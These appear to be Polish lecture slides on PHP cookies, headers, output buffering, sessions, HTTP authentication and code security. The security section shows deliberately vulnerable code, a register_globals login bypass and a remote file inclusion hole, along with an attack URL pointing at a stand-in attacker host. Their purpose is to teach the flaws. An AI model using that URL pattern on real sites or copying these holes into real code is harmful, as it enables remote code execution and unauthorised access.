Kurs WWW

Paweł Rajba

Paweł Rajba

[e-mail]

http://pawel.ii.uni.wroc.pl/

PHP i ciasteczka



Co to są ciasteczka (cookie)?



Jak to działa?



Kwestia buforowania



Tablica $_COOKIES[ ]

PHP i ciasteczka



int setcookie( string nazwa

[, string wartość
[, int data_ważności
[, string ścieżka
[, string domena
[, int bezpieczne]]]]])



nazwa – nazwa ciasteczka



wartość – wartość ciasteczka

PHP i ciasteczka



data_ważności – do kiedy ciasteczko jest

aktualne; liczba zwracana przez time() lub
mktime()



ścieżka – specyfikuje URLe w domenie dla
których ciastko jest dostępne



domena – domena dla której ciasteczko
będzie dostępne



bezpieczne – określa, czy ciasteczko powinno
być dostępne tylko za pomocą protokołu

HTTPS

PHP i ciasteczka



Kilka uwag dotyczących funkcji setcookie()



niektóre argumenty można pominąć podając

napisy puste



dwóch ostatnich argumenty w powyższy

sposób pominąć nie można



ciasteczko może być usunięte tylko z takimi

parametrami, z jakimi zostało usunięte



ustawione cookie będą widoczne dopiero po

przeładowaniu strony

PHP i ciasteczka



Kilka uwag... c.d.



usunięcie ciasteczka odbywa się przez

podanie wstecznej daty ważności –
przeglądarka uruchamia wtedy mechanizm

usunięcia ciastka



każda przeglądarka składuje cookies osobno



niekiedy przeglądarki różnie obsługują cookies

PHP i ciasteczka



Tablicowa obsługa ciasteczek

setcookie ("cookie[three]", "cookiethree");
setcookie ("cookie[two]", "cookietwo");
setcookie ("cookie[one]", "cookieone");
if (isset($_COOKIE['cookie'])) {
while (list($name, $value)=each($cookie))

{

echo "$name == $value<br>\n";
}
}

PHP i ciasteczka



Przykłady:



setcookie ("ciacho", "smaczne",time()+3600,
"/~pawel/", ".ii.uni.wroc.pl", 1);



ciacho.php



odwiedziny.php

PHP i nagłówki HTTP



int header(string treść_nagłówka)



wysyła nagłówek HTTP



przykłady:

header("Location:

http://www.onet.pl/

");

$download_size = filesize($file_server_path);
header("Content-type: application/x-download");
header("Content-Disposition: attachment;

filename=$file_download_name;");

header("Accept-Ranges: bytes");
header("Content-Length: $download_size");
@readfile($file_server_path);

PHP i nagłówki HTTP



array headers_list (void)



lista nagłówków do wysłania



bool headers_sent (void)



sprawdza, czy nagłówki zostały już wysłane

PHP – buforowanie



bool ob_start ( [callback output_callback])



rozpoczęcie buforowania



bool ob_end_clean ( void )



kończy buforowanie i czyści bufor wyjściowy



bool ob_end_flush ( void )



kończy buforowanie i wypisuje zawartość



void ob_clean ( void )



czyści bufor wyjściowy

PHP – buforowanie



string ob_get_clean (void)



zwraca aktualną zawartość bufora i czyści

bufor



string ob_get_flush(void)



wypisuje zawartość bufora



zwraca go jako napis



kończy buforowanie



int ob_get_length(void)



zwraca rozmiar bufora wyjściowego

PHP – buforowanie



Przykład:

bufory.php

PHP i sesje - wprowadzenie



Jak to działa?



po co to? – stan aplikacji



rola klienta i serwera



identyfikator sesji (cookie lub zmienna GET)

PHP i sesje - wprowadzenie



Utworzenie sesji



Korzystanie z sesji

KLIENT

KLIENT

SERWER

SERWER

Klient wysyła żądanie zasobu

Serwer odsyła identyfikator

nowo utworzonej sesji

KLIENT

KLIENT

SERWER

SERWER

Klient wysyła żądanie zasobu
dołączając identyfikator sesji

Na serwerze

tworzona jest

nowa sesja

Na serwerze

odtwarzane

są dane sesji

PHP i sesje – zestaw funkcji



string session_name ([string nazwa])



pobierz i/lub ustaw nazwę dla sesji



wywołujemy przed session_start()



używana w identyfikatorze sesji (ciastka lub

URL, domyślnie PHPSESSID)



jeśli chcemy zmienić nazwę, to musimy ją

wywoływać na każdej stronie – w przeciwnym
razie od razu przywracana jest wartość z
session.name

PHP i sesje – zestaw funkcji



string session_id ([string id])



pobierz i/lub ustaw identyfikator sesji



jeżeli zmienić identyfikator bieżącej sesji, to

musimy wywołać funkcję przed session_start()



bool session_start(void)



tworzy (lub odtwarza) sesję w oparciu o

identyfikator sesji przekazywany przez

COOKIE lub parametr w URL.



jeżeli używamy sesji opartych o cookies, to

session_start() musi być wywołane przed

wysłaniem czegokolwiek do przeglądarki

PHP i sesje – zestaw funkcji



void session_write_close(void)



zapisuje dane i kończy sesję



void session_commit(void)



alias do session_write_close()



bool session_destroy(void)



niszczy sesję, nie usuwa ciasteczka



prosty sposób usunięcia ciastka sesyjnego:
setcookie(session_name(),"",0,"/")

PHP i sesje – przykład



licznik.php

PHP i sesje – zestaw funkcji



string session_save_path([string ścieżka])



pobierz i/lub ustaw ścieżkę zapisu bieżącej

sesji



w Foxserv domyślnie:
C:\FoxServ\sessiondata



bool session_regenerate_id(void)



tworzy nowy identyfikator dla sesji (dostępne

od PHP 4.3.2)

PHP i sesje – zestaw funkcji



string session_encode(void )



koduje dane sesji do postaci stringu



bool session_decode(string dane)



odtwarza dane sesji ze stringu



najpierw trzeba użyć session_start



void session_set_cookie_params(

int czas_życia
[, string ścieżka
[, string domena]])



ustawia parametry ciastka sesji

PHP i sesje – zestaw funkcji



array session_get_cookie_params(void)



zwraca parametry ciasteczka sesji



lifetime – czas życia sesji



path – ścieżka dla sesji



domain – domena ciasteczka



secure – ciasteczko może być przesyłane tylko

poprzez biezpieczne połączenie

PHP i sesje – zmienne (cz. 1)



bool session_register(mixed nazwa

[, mixed ...])



rejestruje zmienną globalną jako zmienną sesji

$dilbert = "Fajny komiks";
session_register("dilbert");



bool session_unregister(string nazwa)



wyjestruj zmienną z bieżącej sesji

PHP i sesje – zmienne (cz. 1)



void session_unset(void)



zwalnia wszystkie zmienne sesji



bool session_is_registered(string nazwa)



sprawdza, czy zmienna jest zarejestrowana

PHP i sesje – zmienne (cz. 2)



Używamy tablicy $_SESSION[ ] (w starszych

wersjach $HTTP_SESSION_VARS[ ])



ustanowienie zmiennej sesyjnej
$_SESSION["zmienna"] = "a to jej wartosc"



usunięcie zmiennej sesyjnej
unset($_SESSION["zmienna"])



usunięcie wszystkich zmiennych
$_SESSION = array()



sprawdzenie, czy zmienna istnieje
isset($_SESSION["zmienna"])

PHP i sesje - przykłady



Niszczenie sesji (pierwszy sposób)

<?php
// Jeśli używasz sesion_name("cośtam"),
// nie zapomnij o tym teraz!
session_start();
session_unset();
session_destroy();
?>

PHP i sesje - przykłady



Niszczenie sesji (drugi sposób)

<?php
// Jeśli używasz sesion_name("cośtam"),
// nie zapomnij o tym teraz!
session_start();
$_SESSION = array();
session_destroy();
?>

PHP i sesje



Propagowanie identyfikatora w URLu



kiedy stosować?



stała SID



opcja --enable-trans-sid



opcja --enable-trans-sid, a wydajność –

różnica ok. 10%



Zapisywanie danych sesji w bazie danych



do czego może się to przydać? (personalizacja)



funkcje session_encode() i session_decode()

PHP i sesje – opcje



session.save_path



określa, gdzie będą tworzone pliki z danymi

sesji



domyślnie: C:\FoxServ\sessiondata



session.name



określa nazwę sesji, która będzie też nazwą
ciastka



domyślnie PHPSESSID

PHP i sesje – opcje



session.auto_start



określa, czy sesja ma być uruchamiana

automatycznie na początku wywołania



domyślnie 0 (wyłączone)



session.cookie_lifetime



określa w sekundach długość życia ciastka

sesyjnego



0 oznacza "dopóki przeglądarka nie została

zamknięta"



domyślnie 0

PHP i sesje – opcje



session.use_cookies



określa, czy identyfikator sesji będzie po

stronie klienta pamiętany za pomocą ciastka



domyślnie 1 (włączone)



session.use_only_cookies



określa, czy do pomiętania id sesji mają być

wykorzystywane tylko ciastka



domyślnie 0 (ze względu na kompatybilność)



zwiększa bezpieczeństwo

Kontrola dostępu do danych



Terminologia



Authentication – identyfikacja



Authorization – czy jest dostęp do zasobu



Access Control – sterowanie dostępem do

zasobu (może zależeć od innych czynników)

Autoryzacja HTTP



Rodzaje



Basic



Digest



Główna zaleta Digest – hasło nie jest

przesyłane jawnym tekstem

Autoryzacja HTTP w Apache'u



Najpierw sprawdzamy, czy apache jest

skompilowany z modułem mod_auth.c

apache.exe -l
httpd -l



Upewniamy się, że pliku

httpd.conf

jest wpis

AllowOverride All



Teraz, możemy utworzyć plik .htaccess w

każdym katalogu w którym chcemy sterować

prawami dostepu

Autoryzacja HTTP w Apache'u



Przykładowa zawartość pliku

.htaccess

<Files tajne.php supertajne.php>
AuthType Basic
AuthUserFile /usr/local/apache/users
AuthName "Administration Module"
Require valid-user // pawel zenek
Order allow,deny
Allow from swiatowit.ii.uni.wroc.pl
Deny from all
Satisfy any // all
</Files>



Pominięcie znacznika Files sprawi, że chroniona
będzie cała zawartość katalogu

Autoryzacja HTTP w Apache'u



Na końcu tworzymy użytkownika

htpasswd -c users pawel
htpasswd users john



istotne, żeby pliku z użytkownikami nie
trzymać w miejscu dostępnym z przeglądarki

Autoryzacja HTTP w Apache'u



Podsumowanie



wystarcza przy mało wymagającej autoryzacji



ograniczenia przy zarządzaniu użytkownikami



interfejs przeglądarki



wylogowanie poprzez wyłączenie przeglądarki



konieczność ingerencji w konfigurację serwera

Autoryzacja HTTP w PHP



Kilka uwag na początek:



obsługiwana tylko wtedy, gdy PHP działa jako

moduł Apache (jako CGI – nie działa)



obecnie obsługiwana jest tylko autoryzacja

typu Basic



po wysłaniu nagłówków, użytkownik wpisuje

dane użytkownika i hasło, które są
przekazywane w zmiennych



$_SERVER['PHP_AUTH_USER']



$_SERVER['PHP_AUTH_PW']

Autoryzacja HTTP w PHP



Przykład:

httpauth.php

Autoryzacja – sesje w PHP



Etapy dostępu do danych



Logowanie



pobranie danych użytkownika (login + hasło)



weryfikacja



odnotowanie faktu weryfikacji w logach



rozpoczęcie sesji

Autoryzacja – sesje w PHP



Etapy dostępu do danych



Użycie sesji



podtrzymanie sesji



ponowna weryfikacja uprawnień



Wylogowanie



zakończenie sesji



odnotowanie faktu w logach



usunięcie danych związanych z sesją (ważne)

Autoryzacja – sesje w PHP



Przykład:

login.php

i

pokaz.php

Autoryzacja – sesje w PHP



Sprawdzanie hasła:



jak w przykładzie



na podstawie pliku tekstowego



na podstawie bazy danych



W miarę możliwości nigdzie nie trzymamy

haseł w postaci jawnej

Autoryzacja – sesje w PHP



Zalety przechowywania haseł w pliku



dobre dla obsługi kilku użytkowników



łatwa obsługa



nie wymagają dodatkowego oprogramowania



Zalety przechowywania haseł w bazie danych



możliwość obsługi bardzo wielu użytkowników



szybszy dostęp



lepsze zarządzanie zawartością



większe bezpieczeństwo

Autoryzacja – sesje w PHP



Przesyłanie hasła



jawny tekst



szyfrogram md5 (obliczany po stronie klienta)

Bezpieczeństwo kodu PHP



Opcja

register_globals

w php.ini



jej włączenie powoduje, że wszystkie dane

pochodzące od użytkownika są dostępne z

poziomu zmiennej (POST, GET, COOKIE, ...)



powinna być wyłączona (Off) i tak jest

domyślnie



Przykład (login.php):

<?php
if ($password == "as3jksj4w") $auth=true;
if ($auth) uruchom_tajne_procedury();
?>

Bezpieczeństwo kodu PHP



A teraz uruchamiamy skrypt

login.php?auth=true



Przykład: (login.php ulepszony)

<?php
$auth=false;
if ($password == "as3jksj4w") $auth=true;
if ($auth) uruchom_tajne_procedury();
?>

Bezpieczeństwo kodu PHP



Raportowanie błędów – error_reporting()



podczas pisania skryptów, testowania należy

włączyć raportowanie
error_reporting(E_ALL)



przy wdrażaniu aplikacji należy wszystkie
raportowania bezwzględnie powyłączać
error_reporting(0)

Bezpieczeństwo kodu PHP



Weryfikacja danych pochodzących od

użytkownika



sprawdzić należy wszystkie dane w

szczególności pod kątem



typ danych



zawartość



długość



akceptujemy te tylko dane, których się

spodziewaliśmy



nigdy nie polegamy na weryfikacji po stronie

klienta

Bezpieczeństwo kodu PHP



W jaki sposób weryfikować?



sprawdzić typy



skorzystać z wyrażeń regularnych



sprawdzić wielkość



sprawdzić zbiór dopuszczalnych wartości



...

Bezpieczeństwo kodu PHP



Przykład:

<?php
if (isset($_GET["plik"])) include($_GET["plik"]);
?>

i agresor robi tak:

skrypt.php?plik=http://agresor.pl/zlosliwy.php

Bezpieczeństwo kodu PHP



Wszystkie pliki PHP powinny być przez

serwer parsowane



jeżeli dajemy rozszerzenie

.inc

, to musimy się

upewnić, że pliki z tym rozszerzeniem są
interpretowane



Nie należy dawać możliwości oglądnięcia

wyniku działania funkcji

phpinfo()

Bezpieczeństwo kodu PHP



Upload plików



należy upewniać się, że upload pliku

faktycznie miał miejsce – służą do tego
funkcje



is_uploaded_file()



move_uploaded_file()

Bezpieczeństwo kodu PHP



Tryb bezpieczny (safe_mode)



jeśli możliwe, należy z tego korzystać, chociaż

lepiej dobrze skonfigurować serwer WWW



skrypt ma dostęp tylko to tych plików których

właścicielem jest właściciel skryptu

Bezpieczeństwo kodu PHP



Dyrektywy odpowiedzialne za tryb bezpieczny



safe_mode = Off



safe_mode_gid = 0



safe_mode_include_dir =



safe_mode_exec_dir =



open_basedir =



safe_mode_allowed_env_vars = PHP_



safe_mode_protected_env_vars =

LD_LIBRARY_PATH



disable_functions =

Bezpieczeństwo kodu PHP



Ukrywanie rozszerzeń



dodajemy w pliku httpd.conf
(ewentualnie .htaccess)

AddType application/x-httpd-php .htm .html



Ukrywanie hasła do bazy danych (plik httpd.conf)

<Directory "C:\Foxserv\www\test">
php_admin_value open_basedir C:\Foxserv\www\test
php_admin_value disable_functions a3js8ge4a2
</Directory>
<?php
echo ini_get("disabled_functions");
?>